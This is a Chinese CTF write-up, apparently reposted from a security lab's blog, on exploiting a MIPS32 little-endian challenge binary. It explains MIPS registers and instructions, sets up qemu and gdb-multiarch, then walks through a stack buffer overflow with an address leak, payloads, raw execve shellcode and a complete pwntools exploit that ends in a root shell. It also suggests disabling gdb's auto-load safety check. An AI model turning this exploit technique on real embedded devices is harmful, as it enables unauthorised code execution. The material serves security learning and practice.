『CTF』异构 Pwn 之 Mips32

admin 2023年3月17日18:24:48评论33 views字数 9317阅读31分3秒阅读模式

点击蓝字

关注我们


作者:Mi(E)ps(4)
日期:2023-03-17
简介:Pwn 的世界总是丰富多彩,只会一种架构的 Pwn 显然是不行的,很显然我已经不行了。

0x00 简介

平时接触的Pwn题目都是x86/x64,长久以来难免产生厌倦,今天就让来看看mips平台下是如何利用的。

0x01 Mips初探

1.1 Mips 简介

mipsx86一样属于一种cpu架构,mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。

1.2 Mips 小tips

1.mips汇编不同于x86汇编,属于精简指令集,常见于路由器等一些嵌入式设备中。

2.mips汇编没有对堆栈的直接操作,也就是没有pushpop指令,mips汇编中保留了32个通用寄存器,但是不同于x86汇编,mips汇编中没有ebp/rbp寄存器。

3.mips每条指令都用固定的长度,每条指令都是四个字节,所以内存数据的访问必须以32位严格对齐,这一点也不同于x86汇编。

1.3 Mips Pwn 需要的知识

1.3.1 寄存器

MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。

| 编号    | 寄存器名称 | 描述                                                      | :------ | :--------- | :----------------------------------------------------- | $0      | $zero      | 第0号寄存器,其值始终为0。                                 | $1      | $at        | 保留寄存器                                               | $2-$3   | $v0-$v1    | values,保存表达式或函数返回结果                            | $4-$7   | $a0-$a3    | argument,作为函数的前四个参数                             | $8-$15  | $t0-$t7    | temporaries,供汇编程序使用的临时寄存器                | $16-$23 | $s0-$s7    | saved values,子函数使用时需先保存原寄存器的值         | $24-$25 | $t8-$t9    | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 | $26-$27 | $k0-$k1    | 保留,中断处理函数使用                                 | $28     | $gp        | global pointer,全局指针                               | $29     | $sp        | stack pointer,堆栈指针,指向堆栈的栈顶                | $30     | $fp        | frame pointer,保存栈指针                              | $31     | $ra        | return address,返回地址                    

1.3.2 传参方式

$a0~$a3传递函数的前4个参数,aargument的缩写,多余的参数用栈传递。

1.3.3 函数返回值

一般用$v0~$v1寄存器传递。v也就是value的缩写。

1.3.4 跳转指令

j指令跳转到某个标签处,单纯的jmp

jr指令用于跳转到寄存器里的地址值指向的地方。

jal 跳转时,会将返回地址存入$ra寄存器。

jalrjal指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop)。

$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra

1.3.5 内存读取指令

sw register,addr指令,swstore word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处,说了这么多其实就是出栈。

lw register,addr指令,lwload word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。入栈。

1.3.6 寻址

la指令,相当于x86lea

lai指令,i的意思是immediate立即数,即后面的对象为立即数。

la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0

0x02 小栗题

2.1 例行检查


    Arch:     mips-32-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x400640 Start of program headers: 52 (bytes into file) Start of section headers: 4248 (bytes into file) Flags: 0x50001007, noreorder, pic, cpic, o32, mips32 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 40 (bytes) Number of section headers: 26 Section header string table index: 25

『CTF』异构 Pwn 之 Mips32

经过调查这个犯罪嫌疑题是mips32位小端序,动态链接,保护全关,我们后续可以使用qemu来运行。

2.2 Mips 运行环境

1.首先的话需要安装一个mips的交叉编译环境,安装完成以后就可以自己编译mips程序,可以使用qemu运行程序。

sudo apt install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu大端sudo apt install gcc-mips-linux-gnu g++-mips-linux-gnu小端sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
安装qemuhttps://blog.csdn.net/weixin_38227420/article/details/88402738

2.程序是一个动态链接的mips小端序的32位可执行程序,所以我们使用qemu运行的时候需要注意一下。


qemu-mipsel  -L ./  ./Mplogin 
|>19:06:46<|(^ω^)$qemu-mipsel -L ./ ./Mplogin -----we1c0me t0 MP l0g1n s7stem-----Username :

3.我们还需要用gdb进行调试,所以需要gdb-multiarch,本地起一个。


qemu-mipsel  -g 12345 -L  ./  ./Mplogin 
gdb-multiarchset architecture mips 设置架构set endian little 设置大小段symbol-file ./mplogin/Mplogin 导入调试文件的符号表target remote 127.0.0.1:12345 连接远程调试
『CTF』异构 Pwn 之 Mips32

但是每次调试都得重新设置,有点麻烦,所以我们可以在目录中创建一个.gdbinit

内容set architecture mipsset endian littlesymbol-file ./Mplogintarget remote 127.0.0.1:12345

但是我发现他不好用,默认还是使用/root/.gdbinit下的配置文件,后来找到了问题所在。

『CTF』异构 Pwn 之 Mips32
新版的gdb从安全角度进行了一些限制,默认./.gdbinit不会加载,如果需要禁止这个安全功能,可以修改~/.gdbinit,添加set auto-load safe-path /。如果只是想加载某个目录下的.gdbinit,可以在~/.gdbinit下添加add-auto-load-safe-path /home/linux/project/Demo/linux/gdb/.gdbinit。当 GDB(即 GNU Project Debugger)启动时,它在当前用户的主目录中寻找一个名为 .gdbinit的文件;如果该文件存在,则 GDB 就执行该文件中的所有命令。

直接使用gdb-multiarch 即可。

『CTF』异构 Pwn 之 Mips32

把前期准备工作做完了,后面就可以开始我们的调试利用了。

2.3 题目分析

1.题目main函数主要有,我已经进行了rename,就是usernamepassword首先进入username中查看。

int __cdecl main(int argc, const char **argv, const char **envp){  int v3; // $a2  int v5; // [sp+18h] [+18h]
setbuf(stdin, 0, envp); setbuf(stdout, 0, v3); printf("x1B[33m"); puts("-----we1c0me t0 MP l0g1n s7stem-----"); v5 = username(); password(v5); printf("x1B[32m"); return puts("Now you getshell~");}

2.跟进username看一下,这里read虽然没有溢出,但是没有在末尾添加x00printf的时候会打印出一部分栈数据,填满以后返回值就是24

int sub_400840(){  char v1[24]; // [sp+18h] [+18h] BYREF
memset(v1, 0, sizeof(v1)); printf("x1B[34m"); printf("Username : "); read(0, v1, 24); if ( strncmp(v1, "admin", 5) ) exit(0); printf("Correct name : %s", v1); return strlen(v1);}

3.第一个read出现了明显的栈溢出,v3是传进来的a1+4变成了28,在通过V3的值来控制第二的read的读入大小,然后造成栈溢出,从而控制程序执行流。

int __fastcall sub_400978(int a1){  char v2[20]; // [sp+18h] [+18h] BYREF  int v3; // [sp+2Ch] [+2Ch]  char v4[36]; // [sp+3Ch] [+3Ch] BYREF
v3 = userlen + 4; // 28 printf("x1B[31m"); printf("Pre_Password : "); read(0, v2, 36); //v2 48 printf("Password : "); read(0, v4, v3); //v3 34 v4 24 if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) ) exit(0); return puts("Correct password : **********");}

4.第一次payload:"admin" + ‘a'*19 填满第一次read

第二次payload: "access" + "a"*14 + p32(0x200)   填满第二次read并覆盖变量v3

第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode填满第三次read,ra覆盖为栈顶地址并写入shellcode执行。

2.4 调试

1.$sp寄存器的值是0x7ffff0a8buf的地址在$sp指向的栈顶加18字节处,0x7ffff0c0就是buf起始地址,我们向buf填充24个可见字符的时候就会泄漏0x76fffe0e后续把shellcode布置到这个地址就可以。

sa("Username :",'adminaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')

『CTF』异构 Pwn 之 Mips32

2.接收泄漏地址。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))log.success(hex(leak))

3.按照我们上面的思路下一步需要覆盖一下v3,让栈溢出,可以看到两个相差14

『CTF』异构 Pwn 之 Mips32

buf大小只有20,我们可以输入36,也造成了缓冲区溢出,正好可以覆盖我们的length,我们可以调试一下看看,初始的时候length长度是多少。

int __fastcall password(int userlen){  char buf[20]; // [sp+18h] [+18h] BYREF  int length; // [sp+2Ch] [+2Ch]  char v4[36]; // [sp+3Ch] [+3Ch] BYREF
length = userlen + 4; printf("x1B[31m"); printf("Pre_Password : "); read(0, buf, 36); printf("Password : "); read(0, v4, length); if ( strncmp(buf, "access", 6) || strncmp(v4, "0123456789", 10) ) exit(0); return puts("Correct password : **********");}

看到V0 寄存器length长度是0x23 也就是35 为什么是35呢?我们看一下payload

sa("Username :",'adminaaaaaaaaaaaaaaaaaaax00') 

这里是24个,还有下面泄漏的数据也要加上,这就是31个,password里面的length = userlen + 4;这段就是35个,而v4的大小是36不能造成溢出,就需要我们在read(0, buf, 36); 处修改length的大小造成溢出。

『CTF』异构 Pwn 之 Mips32

『CTF』异构 Pwn 之 Mips32

2.5 溢出来了?

先看一下length没有被覆盖在栈中的位置及大小。

『CTF』异构 Pwn 之 Mips32

我们把它覆盖掉再看,二伯了已经。这就造成了下面的一个read栈溢出。

payload  = "access" + 14*'a' + p32(0x200)s(payload)
『CTF』异构 Pwn 之 Mips32

2.6 getshell

首先既然造成了栈溢出,我们就需要测一下偏移,下一个断点在0x0400AE4处,然后填充。

『CTF』异构 Pwn 之 Mips32
pwndbg> cyclic -l aaia 30

这样的话就可以构造payload了。

sa("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))

程序的$ra寄存器已经返回到了0x76fff0e0,而这里面存放的是我们的shellcode,从而执行拿到shell

『CTF』异构 Pwn 之 Mips32
*V0   0xfab V1   0x1 A0   0x76fff0d4 ◂— '//bin/sh' A1   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */ A2   0x76fff0cc ◂— 0 A3   0x0 T0   0x76ffef50 ◂— 0 T1   0x6873 T2   0x0 T3   0x0 T4   0x767e604c ◂— 0 T5   0x1 T6   0xfffffff T7   0x400567 ◂— 'strlen' T8   0x18 T9   0xfffffffb S0   0x76806010 ◂— 0 S1   0x4005d8 (_init) ◂— lui    $gp, 2 /* 0x3c1c0002 */ S2   0x0 S3   0x0 S4   0x0 S5   0x0 S6   0x0 S7   0x0 S8   0x61616161 ('aaaa') FP   0x0 SP   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */*PC   0x76fff150 ◂— syscall 0x40404 /* 0x101010c */─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────   0x76fff13c    add    $a1, $sp, $a1   0x76fff140    sw     $a1, -4($sp)   0x76fff144    addi   $sp, $sp, -4   0x76fff148    add    $a1, $sp, $zero   0x76fff14c    ori    $v0, $zero, 0xfab0x76fff150    syscall 0x40404 <SYS_execve>        path: 0x76fff0d4 ◂— '//bin/sh'        argv: 0x76fff0c0 —▸ 0x76fff0c8 ◂— 0x6873 /* 'sh' */        envp: 0x76fff0cc ◂— 0x0   0x76fff154    movz   $zero, $zero, $zero   0x76fff158    nop       0x76fff15c    sll    $v0, $zero, 0   0x76fff160    jalx   0x7a018040   0x76fff164    jalx   0x79f9c000──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────00:0000│ a1 sp 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */01:00040x76fff0c4 ◂— 002:00080x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */03:000c│ a2    0x76fff0cc ◂— 004:00100x76fff0d0 ◂— 005:0014│ a0    0x76fff0d4 ◂— '//bin/sh'06:00180x76fff0d8 ◂— 'n/sh'07:001c│       0x76fff0dc ◂— 0────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────── ► f 0 0x76fff150

2.7 EXP



# -*- coding: UTF-8 -*-import sysfrom pwn import *
context(arch='mips',endian='little',log_level='debug')
# context.log_level = 'debug'
shell = lambda : p.interactive()s = lambda buf: p.send(buf)ss = lambda buf: p.send(str(buf))sl = lambda buf: p.sendline(buf)ssl = lambda buf: sl(str(buf))sa = lambda delim, buf: p.sendafter(delim, buf)ssa = lambda delim, buf: sa(delim, str(buf))sla = lambda delim, buf: p.sendlineafter(delim, buf)
r = lambda n: p.recv(n)ra = lambda t=tube.forever:p.recvall(t)ru = lambda delim, drop=False: p.recvuntil(delim, drop)rl = lambda: p.recvline()e4 = lambda logg : log.success(logg)
def gdb_attach(): os.system('gnome-terminal -x sh -c "gdb-multiarch -ex 'b * 0x0400AE4 '"')

if sys.argv[1] == 'p': p = process(["qemu-mipsel","-L","./","./Mplogin"]) sleep(1)else: p = process(["qemu-mipsel","-g","12345","-L","./","./Mplogin"]) gdb_attach()

elf = ELF('./Mplogin')libc = ELF('./lib/libc.so.0')# shellcode = "xffxffx06x28xffxffxd0x04xffxffx05x28x01x10xe4x27x0fxf0x84x24xabx0fx02x24x0cx01x01x01/bin/sh"


sa("Username :","adminaaaaaaaaaaaaaaaaaaa")ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))e4(hex(leak))
# ru("Pre_Password : ")# payload = "access"payload = "access" + 14*'a' + p32(0x200)s(payload)sla("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))
shell()
[*] Switching to interactive mode[DEBUG] Received 0x29 bytes: 'Password : Correct password : **********n'Password : Correct password : **********$ id[DEBUG] Sent 0x3 bytes: 'idn'[DEBUG] Received 0x27 bytes: 'uid=0(root) gid=0(root) groups=0(root)n'uid=0(root) gid=0(root) groups=0(root)

0x03 总结

// 这段时间也是学了一下mips指令然后做了一下mips下的pwn,题目还有很多慢慢做,从中学习,论学习还得找学哥偷学

// pwn还得多调试,出问题就调试总能找到问题在哪。

Reference

https://cdn.modb.pro/db/483028
https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/
https://www.cnblogs.com/L0g4n-blog/p/13968404.html
https://blog.csdn.net/houxiaoni01/article/details/112026254

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『CTF』异构 Pwn 之 Mips32

原文始发于微信公众号(宸极实验室):『CTF』异构 Pwn 之 Mips32

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日18:24:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『CTF』异构 Pwn 之 Mips32http://cn-sec.com/archives/1612248.html

发表评论

匿名网友 填写信息